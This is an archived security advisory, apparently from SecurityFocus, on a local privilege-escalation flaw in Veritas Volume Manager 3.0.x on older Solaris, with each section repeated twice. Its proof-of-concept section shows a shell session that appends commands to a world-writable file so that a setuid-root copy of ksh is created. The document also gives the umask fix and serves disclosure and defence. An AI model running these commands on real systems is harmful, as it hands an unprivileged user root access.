Veritas Volume Manager 3.0.x File Permission Vulnerability
BID:1356
Info
Veritas Volume Manager 3.0.x File Permission Vulnerability
| Bugtraq ID: | 1356 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 16 2000 12:00AM |
| Updated: | Jun 16 2000 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list on June 16, 2000 by Dixie Flatline <[email protected]> |
| Vulnerable: |
Veritas Software Volume Manager 3.0.4 Veritas Software Volume Manager 3.0.3 Veritas Software Volume Manager 3.0.2 |
| Not Vulnerable: |
Veritas Software Volume Manager 3.1 Beta Sun Solaris 8_sparc |
Discussion
Veritas Volume Manager 3.0.x File Permission Vulnerability
A vulnerability exists in the Volume Manager product, versions 3.0.x, from Veritas Software. Volume Manager is a popular disk management package. Volume Manager running on Solaris platforms prior to Solaris 8 are vulnerable.
Upon startup, the /etc/rc2.d/S96vmsa-server script is executed. It never explicitly sets a umask, and therefore inherits the parent umask, which is unset. When the server starts, it creates a file named .server_pids, in the directory /var/opt/vmsa/logs. As no umask is set, its permissions are set to 666. (user, group and world readable and writable).
The control script used to control various aspects of the Storage Administrator server will, upon getting a request to stop the server, execute the contents of the .server_pids file. As any user can alter the contents of the .server_pids file, a would be attacker can execute arbitrary commands by placing them in the .server_pids file, and waiting for an administrator to call the stop routine of the control script (/opt/VRTSvmsa/bin/vmsa_server). This will cause the code in the .server_pids file to be executed as the user running the script. In most cases this will be root.
This vulnerability requires that the administrator run the vmsa_server script with the stop command. It will not be invoked upon a shutdown.
Solaris 8 machines are not susceptible to this vulnerability, as the umask of the system is set to 022 prior to the execution of the /etc/rc2.d/S96vmsa-server script. As a result, the .server_pids file is created non-world and non-group writable, and the contents of this file cannot be altered.
A vulnerability exists in the Volume Manager product, versions 3.0.x, from Veritas Software. Volume Manager is a popular disk management package. Volume Manager running on Solaris platforms prior to Solaris 8 are vulnerable.
Upon startup, the /etc/rc2.d/S96vmsa-server script is executed. It never explicitly sets a umask, and therefore inherits the parent umask, which is unset. When the server starts, it creates a file named .server_pids, in the directory /var/opt/vmsa/logs. As no umask is set, its permissions are set to 666. (user, group and world readable and writable).
The control script used to control various aspects of the Storage Administrator server will, upon getting a request to stop the server, execute the contents of the .server_pids file. As any user can alter the contents of the .server_pids file, a would be attacker can execute arbitrary commands by placing them in the .server_pids file, and waiting for an administrator to call the stop routine of the control script (/opt/VRTSvmsa/bin/vmsa_server). This will cause the code in the .server_pids file to be executed as the user running the script. In most cases this will be root.
This vulnerability requires that the administrator run the vmsa_server script with the stop command. It will not be invoked upon a shutdown.
Solaris 8 machines are not susceptible to this vulnerability, as the umask of the system is set to 022 prior to the execution of the /etc/rc2.d/S96vmsa-server script. As a result, the .server_pids file is created non-world and non-group writable, and the contents of this file cannot be altered.
Exploit / POC
Veritas Volume Manager 3.0.x File Permission Vulnerability
From the example posted to Bugtraq:
# append our malicious commands to the world-writeable file
foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>
# wait for root to stop the server manually
root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..
# as an unprivileged user, run the suid-root shell we just created...
foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#
From the example posted to Bugtraq:
# append our malicious commands to the world-writeable file
foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>
# wait for root to stop the server manually
root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..
# as an unprivileged user, run the suid-root shell we just created...
foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#
Solution / Fix
Veritas Volume Manager 3.0.x File Permission Vulnerability
Solution:
Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
The vendor indicates that the problem has been remedied in beta versions of Volume Manager 3.1. The post to Bugtraq indicates that Veritas gave no indication that they would be releasing patches for previous versions.
This vulnerability can be fixed by editing the /etc/rc2.d/S96vmsa-server file, and adding the line:
umask 022
prior to the invocation of the Storage Adminstrator server. The best place to add this is the beginning of the script.
Solution:
Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
The vendor indicates that the problem has been remedied in beta versions of Volume Manager 3.1. The post to Bugtraq indicates that Veritas gave no indication that they would be releasing patches for previous versions.
This vulnerability can be fixed by editing the /etc/rc2.d/S96vmsa-server file, and adding the line:
umask 022
prior to the invocation of the Storage Adminstrator server. The best place to add this is the beginning of the script.
References
Veritas Volume Manager 3.0.x File Permission Vulnerability
References:
References: